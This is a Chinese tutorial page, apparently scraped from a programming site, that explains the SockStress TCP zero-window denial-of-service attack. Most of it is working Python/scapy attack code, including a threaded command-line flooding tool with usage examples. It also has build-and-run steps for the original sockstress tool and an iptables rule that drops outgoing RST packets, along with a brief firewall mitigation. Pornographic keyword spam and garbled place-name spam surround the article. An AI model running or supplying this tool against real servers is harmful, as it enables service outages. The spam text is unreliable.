最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python TCP全連接攻擊中SockStress全連接攻擊詳解

 更新時間:2022年10月09日 15:13:39   作者:LyShark 孤風(fēng)洗劍  
Sock Stress 全連接攻擊屬于TCP全連接攻擊,因為需要建立一次完整的TCP三次握手,該攻擊的關(guān)鍵點就在于,攻擊主機將windows窗口緩沖設(shè)置為0,實現(xiàn)的拒絕服務(wù)

攻擊者向目標(biāo)發(fā)送一個很小的流量,但是會造成產(chǎn)生的攻擊流量是一個巨大的,該攻擊消耗的是目標(biāo)系統(tǒng)的CPU/內(nèi)存資源,使用低配版的電腦,依然可以讓龐大的服務(wù)器拒絕服務(wù),也稱之為放大攻擊。

該攻擊與目標(biāo)建立大量的socket連接,并且都是完整連接,最后的ACK包,將Windows大小設(shè)置為0,客戶端不接收數(shù)據(jù),而服務(wù)器會認為客戶端緩沖區(qū)沒有準(zhǔn)備好,從而一直等待下去(持續(xù)等待將使目標(biāo)機器內(nèi)存一直被占用),由于是異步攻擊,所以單機也可以拒絕高配的服務(wù)器。

#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
def sockstress(target,dstport):
	xport = random.randint(0,65535)
	response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
	send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
sockstress("192.168.1.20",80)

除了自己編寫代碼實現(xiàn)以外還可以下載一個項目 https://github.com/defuse/sockstress 該項目是發(fā)現(xiàn)這個漏洞的作者編寫的利用工具,具體使用如下。

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻擊主機IP -j DROP
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http

直到今天sockstress攻擊仍然效果明顯,由于攻擊過程建立了完整的TCP三次握手,所以使用syn cookie防御無效,我們可以通過防火墻限制單位時間內(nèi)每個IP建立的TCP連接數(shù)來阻止這種攻擊的蔓延。

[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

但是該方法依然我發(fā)防御DDOS拒絕服務(wù)的攻擊,這種攻擊只能拼機器拼資源了。攻擊目標(biāo)主機的Window窗口,實現(xiàn)目標(biāo)主機內(nèi)存CPU等消耗殆盡。

最后將前面兩種攻擊手段封裝成一個,該代碼只能在Linux系統(tǒng)下使用。

#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻擊目標(biāo)主機的Window窗口,實現(xiàn)目標(biāo)主機內(nèi)存CPU等消耗殆盡
def sockstress(target,dstport):
    semaphore.acquire()       # 加鎖
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 釋放鎖
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="輸入被攻擊主機IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="輸入被攻擊主機端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻擊的載荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻擊并發(fā)線程數(shù)")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()

使用方法如下:

main.py --type=sockstress -H 192.168.1.10 -p 80 -t 100

案例中所表達的含義是,對主機192.168.1.180口,啟用100個線程進行攻擊。

到此這篇關(guān)于Python TCP全連接攻擊中SockStress全連接攻擊詳解的文章就介紹到這了,更多相關(guān)Python SockStress全連接攻擊內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python 移動光標(biāo)位置的方法

    Python 移動光標(biāo)位置的方法

    今天小編就為大家分享一篇Python 移動光標(biāo)位置的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • Python調(diào)用C# Com dll組件實戰(zhàn)教程

    Python調(diào)用C# Com dll組件實戰(zhàn)教程

    下面小編就為大家?guī)硪黄狿ython調(diào)用C# Com dll組件實戰(zhàn)教程。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-10-10
  • Python實現(xiàn)計算文件夾下.h和.cpp文件的總行數(shù)

    Python實現(xiàn)計算文件夾下.h和.cpp文件的總行數(shù)

    這篇文章主要介紹了Python實現(xiàn)計算文件夾下.h和.cpp文件的總行數(shù),本文直接給出實現(xiàn)代碼,需要的朋友可以參考下
    2015-04-04
  • 一篇文章詳細了解pycharm的安裝及配置

    一篇文章詳細了解pycharm的安裝及配置

    這篇文章主要給大家pycharm安裝及配置的相關(guān)資料,pycharm是編輯python很好使用的工具,文中通過圖文介紹的非常詳細,對大家學(xué)習(xí)或者使用pycharm具有一定的參考借鑒價值,需要的朋友可以參考下
    2023-12-12
  • Python在OpenCV里實現(xiàn)極坐標(biāo)變換功能

    Python在OpenCV里實現(xiàn)極坐標(biāo)變換功能

    這篇文章主要介紹了在OpenCV里實現(xiàn)極坐標(biāo)變換功能,本文通過實例代碼給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-09-09
  • 快速了解Python相對導(dǎo)入

    快速了解Python相對導(dǎo)入

    這篇文章主要介紹了快速了解Python相對導(dǎo)入,具有一定借鑒價值,需要的朋友可以參考下
    2018-01-01
  • Python實現(xiàn)的下載8000首兒歌的代碼分享

    Python實現(xiàn)的下載8000首兒歌的代碼分享

    這篇文章主要介紹了Python實現(xiàn)的下載8000首兒歌的代碼分享,本文直接給出實現(xiàn)代碼,下載的是有伴網(wǎng)的資源,需要的朋友可以參考下
    2014-11-11
  • Python?PaddleGAN實現(xiàn)照片人物性別反轉(zhuǎn)

    Python?PaddleGAN實現(xiàn)照片人物性別反轉(zhuǎn)

    PaddleGAN中的styleganv2editing.py是支持性別編輯的。所以本文將介紹如何通過調(diào)整參數(shù),來試著實現(xiàn)一下照片的性別翻轉(zhuǎn)。感興趣的小伙伴可以學(xué)習(xí)一下
    2021-12-12
  • Python迭代器iterator生成器generator使用解析

    Python迭代器iterator生成器generator使用解析

    這篇文章主要介紹了Python迭代器iterator生成器generator使用解析,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-10-10
  • python?中的?super詳解

    python?中的?super詳解

    這篇文章主要介紹了python?中的?super,提到 super,最直接的想法就是它代表了父類,替父類執(zhí)行某些方法,但是理解也僅止步于此,下面對 super 做進一步理解,需要的朋友可以參考下
    2022-08-08

最新評論

太白县| 砚山县| 博兴县| 剑川县| 望奎县| 师宗县| 高尔夫| 会理县| 宜宾市| 峨眉山市| 紫云| 黔西县| 梓潼县| 陆丰市| 庄浪县| 武威市| 贵德县| 迁西县| 读书| 同心县| 乐都县| 泰宁县| 开远市| 长泰县| 穆棱市| 阜城县| 惠水县| 高碑店市| 赤水市| 彰武县| 定南县| 桦南县| 枣阳市| 孟村| 黎平县| 壤塘县| 高雄市| 万安县| 塔城市| 同心县| 闸北区|